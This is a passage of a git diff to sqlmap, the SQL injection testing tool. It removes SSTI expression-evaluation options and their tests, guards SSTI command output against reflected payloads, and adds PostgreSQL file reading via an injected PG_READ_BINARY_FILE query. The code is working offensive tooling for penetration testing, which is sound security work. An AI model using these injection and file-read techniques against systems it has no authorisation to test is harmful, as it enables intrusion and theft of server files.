+ # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2
+ if place == PLACE.COOKIE and conf.level < 2:
+ continue
for parameter in list(conf.paramDict[place].keys()):
if conf.testParameter and parameter not in conf.testParameter:
continue
@@ -633,7 +636,7 @@ def sstiScan():
place, parameter, engine, evidence = slot
from lib.core.common import readInput
- wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell", "sstiQuery", "sstiShell"))
+ wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell"))
# If the user did not ask for exploitation, confirm (benignly) whether OS command
# execution is reachable and, if so, advise the relevant switches.
@@ -642,20 +645,6 @@ def sstiScan():
"you are advised to try '--os-shell' (interactive) or "
"'--os-cmd=' (single command)" % engine.name)
- # --ssti-query: user-provided expression evaluated in-band
- if conf.get("sstiQuery"):
- _evalExpression(place, parameter, engine, conf.sstiQuery)
-
- # --ssti-shell: interactive expression evaluation loop (interactive even under --batch,
- # like sqlmap's SQL --sql-shell/--os-shell, which read straight from the terminal)
- if conf.get("sstiShell"):
- logger.info("calling SSTI shell. Enter expressions (e.g. 7*7) or 'exit'/'quit' to leave")
- while True:
- expr = readInput("ssti-shell> ", checkBatch=False)
- if not expr or expr.strip().lower() in ("exit", "quit"):
- break
- _evalExpression(place, parameter, engine, expr.strip())
-
# --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags)
if conf.get("osCmd") or conf.get("osShell"):
if not _canTakeover(engine, evidence):
@@ -683,56 +672,6 @@ def _escapeSingleQuoted(value):
return value.replace("\\", "\\\\").replace("'", "\\'")
-def _evalExpression(place, parameter, engine, expr):
- """Wrap expr in the engine's expression format, extract result between
- random markers for deterministic output, fall back to baseline diff."""
-
- if not engine.expressionFmt:
- logger.error("expression evaluation not supported for engine '%s'" % engine.name)
- return
-
- original = _originalValue(place, parameter) or ""
- startMarker = randomStr(length=8, lowercase=True)
- endMarker = randomStr(length=8, lowercase=True)
-
- # Three-part payload: marker, expression, marker -- each in its own template tag
- # so the expression is evaluated independently of the markers
- payload = original + _expressionPayload(engine.expressionFmt, "'%s'" % startMarker)
- payload += " " + _expressionPayload(engine.expressionFmt, expr)
- payload += " " + _expressionPayload(engine.expressionFmt, "'%s'" % endMarker)
- page = _send(place, parameter, payload)
-
- if not page:
- logger.warning("no response for SSTI expression '%s'" % expr)
- return
-
- text = getUnicode(page)
- result = None
-
- # Extract content between the random markers
- if startMarker in text and endMarker in text:
- start = text.index(startMarker) + len(startMarker)
- end = text.index(endMarker, start)
- result = text[start:end].strip()
-
- # Fallback: diff against baseline
- if not result:
- baseline = _send(place, parameter, original)
- if baseline:
- sm = difflib.SequenceMatcher(None, getUnicode(baseline), text)
- parts = []
- for tag, i1, i2, j1, j2 in sm.get_opcodes():
- if tag in ("insert", "replace"):
- parts.append(text[j1:j2])
- if parts:
- result = "".join(parts).strip()
-
- if result:
- conf.dumper.singleString("SSTI expression result: %s" % result)
- else:
- logger.warning("could not extract expression result from response")
-
-
def _canTakeover(engine, evidence):
"""Require exact engine fingerprint (not a family guess) and confirmed
proof before attempting OS command execution."""
@@ -803,6 +742,13 @@ def _executeCommand(place, parameter, engine, cmd):
output = output[len(original):]
output = output.strip()
+ # A template that ECHOED our payload directive instead of executing it (e.g. a patched or
+ # sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command
+ # output: reject it so the loop falls through to the honest "no output received" warning
+ # instead of presenting a reflected payload fragment as a fake command result.
+ if output and output in payload:
+ continue
+
# Suppress when output is just the baseline with the original value removed
# (command produced no output; the template rendered empty)
# Filter out template error messages masquerading as command output
diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py
index 01d8631d1c4..9c3bdb385eb 100644
--- a/plugins/dbms/postgresql/filesystem.py
+++ b/plugins/dbms/postgresql/filesystem.py
@@ -11,6 +11,7 @@
from lib.core.compat import xrange
from lib.core.data import kb
from lib.core.data import logger
+from lib.core.enums import CHARSET_TYPE
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import LOBLKSIZE
from lib.request import inject
@@ -32,6 +33,15 @@ def stackedReadFile(self, remoteFile):
return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
+ def nonStackedReadFile(self, remoteFile):
+ if not kb.bruteMode:
+ infoMsg = "fetching file: '%s'" % remoteFile
+ logger.info(infoMsg)
+
+ # a superuser (or a member of the pg_read_server_files role on PostgreSQL >= 11) can read
+ # files in-band via pg_read_binary_file(), so file reading does not require stacked queries
+ return inject.getValue("ENCODE(PG_READ_BINARY_FILE('%s'),'hex')" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
+
def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py
index df7fb110389..3e3c5f4b625 100644
--- a/plugins/generic/filesystem.py
+++ b/plugins/generic/filesystem.py
@@ -229,7 +229,7 @@ def readFile(self, remoteFile):
logger.debug(debugMsg)
fileContent = self.stackedReadFile(remoteFile)
- elif Backend.isDbms(DBMS.MYSQL):
+ elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL):
debugMsg = "going to try to read the file with non-stacked query "
debugMsg += "SQL injection technique"
logger.debug(debugMsg)
diff --git a/plugins/generic/users.py b/plugins/generic/users.py
index ccd1b7747e4..1f298ac8d28 100644
--- a/plugins/generic/users.py
+++ b/plugins/generic/users.py
@@ -457,7 +457,7 @@ def getPrivileges(self, query2=False):
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
- elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE):
+ elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.ALTIBASE):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
@@ -668,8 +668,8 @@ def getPrivileges(self, query2=False):
return (kb.data.cachedUsersPrivileges, areAdmins)
def getRoles(self, query2=False):
- warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
- warnMsg += "exist. sqlmap will enumerate privileges instead"
+ warnMsg = "enumeration of roles is not supported on %s; " % Backend.getIdentifiedDbms()
+ warnMsg += "sqlmap will enumerate privileges instead"
logger.warning(warnMsg)
return self.getPrivileges(query2)
diff --git a/tests/test_ssti.py b/tests/test_ssti.py
index 02ff44f35ab..96b714bc0cb 100644
--- a/tests/test_ssti.py
+++ b/tests/test_ssti.py
@@ -275,39 +275,6 @@ def mock(place, parameter, value):
self.assertIn("Twig", engine.name)
-class TestExpressionEvaluation(unittest.TestCase):
- def setUp(self):
- self.original_send = ssti._send
-
- def tearDown(self):
- ssti._send = self.original_send
-
- def test_eval_uses_expressionFmt(self):
- engine = ssti._ENGINE_TABLE[0] # Jinja2: expressionFmt = "{{ %s }}"
- results = []
-
- def mock(place, parameter, value):
- results.append(value)
- return "Hello __marker__ 49 __marker2__"
-
- ssti._send = mock
- ssti._evalExpression("GET", "q", engine, "7*7")
- # Payload must use expressionFmt, not raw delimiter concatenation
- self.assertIn("{{ ", results[0])
- self.assertIn(" }}", results[0])
-
- def test_eval_falls_back_when_no_expressionFmt(self):
- engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0]
- self.assertEqual(engine.expressionFmt, "")
-
- def mock(place, parameter, value):
- return "irrelevant"
-
- ssti._send = mock
- # Should not raise; just logs error
- ssti._evalExpression("GET", "q", engine, "7*7")
-
-
class TestBooleanUniqueness(unittest.TestCase):
def test_jinja2_boolean_unique_among_curlies(self):
jinja2 = ssti._ENGINE_TABLE[0]